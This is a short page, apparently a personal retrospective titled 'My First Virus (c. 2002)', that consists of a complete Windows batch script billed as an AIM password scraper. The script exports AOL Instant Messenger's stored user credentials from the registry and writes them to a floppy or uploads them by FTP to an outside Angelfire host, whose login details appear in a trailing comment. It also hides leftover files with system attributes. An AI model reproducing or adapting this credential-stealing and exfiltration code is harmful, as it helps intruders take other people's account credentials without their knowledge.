My First "Virus" (c. 2002) - AIM Password Scraper

to.bat

@echo on
rem --------------------------------------------------------
if "%1" == "ftp" goto VarFTP
if "%1" == "disk" goto VarDisk
cls
@echo.
@echo To use this program type "to disk" or "to ftp"
@echo.
@echo  "to disk" stores information on this floppy disk
@echo   - best if computer is not connected to internet
@echo   - make sure you take care of the disk!
@echo.
@echo  "to ftp" stores information on a web server
@echo   - best if computer is connected to internet
@echo   - no info is stored on floppy disk
@echo   - cantact program author for information retrieval
@echo.
@goto end
rem --------------------------------------------------------
:VarFTP
if exist ftp.ini goto FTPtest1
cls
@echo.
@echo ERROR:  Could not find needed FTP script 'ftp.ini' on disk.
@echo         Try running 'to disk' instead.
@echo.
@echo Aborting . . .
@echo.
@goto end
:FTPtest1
if not exist "c:\ftpnab.reg" goto FTP_extr
attrib "c:\ftpnab.reg" -r -h -s
del "c:\ftpnab.reg"
if not exist "c:\ftpnab.reg" goto FTP_extr
attrib "c:\ftpnab.reg" -r -h -s
del "c:\ftpnab.reg"
if not exist "c:\ftpnab.reg" goto FTP_extr
attrib "c:\ftpnab.reg" -r -h -s
del "c:\ftpnab.reg"
if not exist "c:\ftpnab.reg" goto FTP_extr
attrib "c:\ftpnab.reg" -r -h -s
del "c:\ftpnab.reg"
if not exist "c:\ftpnab.reg" goto FTP_extr
cls
@echo.
@echo ERROR:  File already exists and could not be overwritten.
@echo.
@echo Aborting . . .
@echo.
@echo.
@goto end
:FTP_extr
regedit /e "c:\ftpnab.reg" "HKEY_CURRENT_USER\Software\America Online\AOL Instant \
Messenger (TM)\CurrentVersion\Users\"
ipconfig
ftp -s:"ftp.ini"
del "c:\ftpnab.reg"
if not exist "c:\ftpnab.reg" goto FTP_Done
del "c:\ftpnab.reg"
if not exist "c:\ftpnab.reg" goto FTP_Done
attrib "c:\ftpnab.reg" +r +h +s
:FTP_Done
cls
@echo.
@echo Transfer complete.
@echo.
@echo.
@goto end
rem --------------------------------------------------------
:VarDisk
ipconfig
if not exist "disknab9.reg" goto a9
cls
@echo.
@echo ERROR: Too many registry files on this disk.
@echo.
@echo Press CTRL+C now to end program.  To delete oldest '.reg' file,
@pause
@echo.
if not exist disknab1.reg goto a1
attrib disknab1.reg -s -h -r
del disknab1.reg
if not exist disknab1.reg goto a1
cls
@echo.
@echo ERROR:  Old '.reg' files could not be deleted.
@echo.
@echo Aborting . . .
@pause
@goto end
rem --------------------------------------------------------
:a9
if not exist "disknab8.reg" goto a8
regedit /e "disknab9.reg" "HKEY_CURRENT_USER\Software\America Online\AOL Instant M\
essenger (TM)\CurrentVersion\Users\"
if not exist "disknab9.reg" goto fail9
rem attrib disknab9.reg +s +h +r
cls
@echo disknab9.reg successfully created.
@goto end
:fail9
cls
@echo There was an error in trying to create file:  disknab9.reg
@goto end
:a8
if not exist "disknab7.reg" goto a7
regedit /e "disknab8.reg" "HKEY_CURRENT_USER\Software\America Online\AOL Instant M\
essenger (TM)\CurrentVersion\Users\"
if not exist "disknab8.reg" goto fail8
rem attrib disknab8.reg +s +h +r
cls
@echo disknab8.reg successfully created.
@goto end
:fail8
cls
@echo There was an error in trying to create file:  disknab8.reg
@goto end
:a7
if not exist "disknab6.reg" goto a6
regedit /e "disknab7.reg" "HKEY_CURRENT_USER\Software\America Online\AOL Instant M\
essenger (TM)\CurrentVersion\Users\"
if not exist "disknab7.reg" goto fail7
rem attrib disknab7.reg +s +h +r
cls
@echo disknab7.reg successfully created.
@goto end
:fail7
cls
@echo There was an error in trying to create file:  disknab7.reg
@goto end
:a6
if not exist "disknab5.reg" goto a5
regedit /e "disknab6.reg" "HKEY_CURRENT_USER\Software\America Online\AOL Instant M\
essenger (TM)\CurrentVersion\Users\"
if not exist "disknab6.reg" goto fail6
rem attrib disknab6.reg +s +h +r
cls
@echo disknab6.reg successfully created.
@goto end
:fail6
cls
@echo There was an error in trying to create file:  disknab6.reg
@goto end
:a5
if not exist "disknab4.reg" goto a4
regedit /e "disknab5.reg" "HKEY_CURRENT_USER\Software\America Online\AOL Instant M\
essenger (TM)\CurrentVersion\Users\"
if not exist "disknab5.reg" goto fail5
rem attrib disknab5.reg +s +h +r
cls
@echo disknab5.reg successfully created.
@goto end
:fail5
cls
@echo There was an error in trying to create file:  disknab5.reg
@goto end
:a4
if not exist "disknab3.reg" goto a3
regedit /e "disknab4.reg" "HKEY_CURRENT_USER\Software\America Online\AOL Instant M\
essenger (TM)\CurrentVersion\Users\"
if not exist "disknab4.reg" goto fail4
rem attrib disknab4.reg +s +h +r
cls
@echo disknab4.reg successfully created.
@goto end
:fail4
cls
@echo There was an error in trying to create file:  disknab4.reg
@goto end
:a3
if not exist "disknab2.reg" goto a2
regedit /e "disknab3.reg" "HKEY_CURRENT_USER\Software\America Online\AOL Instant M\
essenger (TM)\CurrentVersion\Users\"
if not exist "disknab3.reg" goto fail3
rem attrib disknab3.reg +s +h +r
cls
@echo disknab3.reg successfully created.
@goto end
:fail3
cls
@echo There was an error in trying to create file:  disknab3.reg
@goto end
:a2
if not exist "disknab1.reg" goto a1
regedit /e "disknab2.reg" "HKEY_CURRENT_USER\Software\America Online\AOL Instant M\
essenger (TM)\CurrentVersion\Users\"
if not exist "disknab2.reg" goto fail2
rem attrib disknab2.reg +s +h +r
cls
@echo disknab2.reg successfully created.
@goto end
:fail2
cls
@echo There was an error in trying to create file:  disknab2.reg
@goto end
:a1
regedit /e "disknab1.reg" "HKEY_CURRENT_USER\Software\America Online\AOL Instant M\
essenger (TM)\CurrentVersion\Users\"
if not exist "disknab1.reg" goto fail1
rem attrib disknab1.reg +s +h +r
cls
@echo disknab1.reg successfully created.
@goto end
:fail1
cls
@echo There was an error in trying to create file:  disknab1.reg
@goto end
rem --------------------------------------------------------
:end

rem ftp.ini:
rem   open
rem   ftp.angelfire.com
rem   /blues/ross
rem   usa
rem   cd aim
rem   bin
rem   put
rem   c:\ftpnab.reg
rem   disknab.txt
rem   quit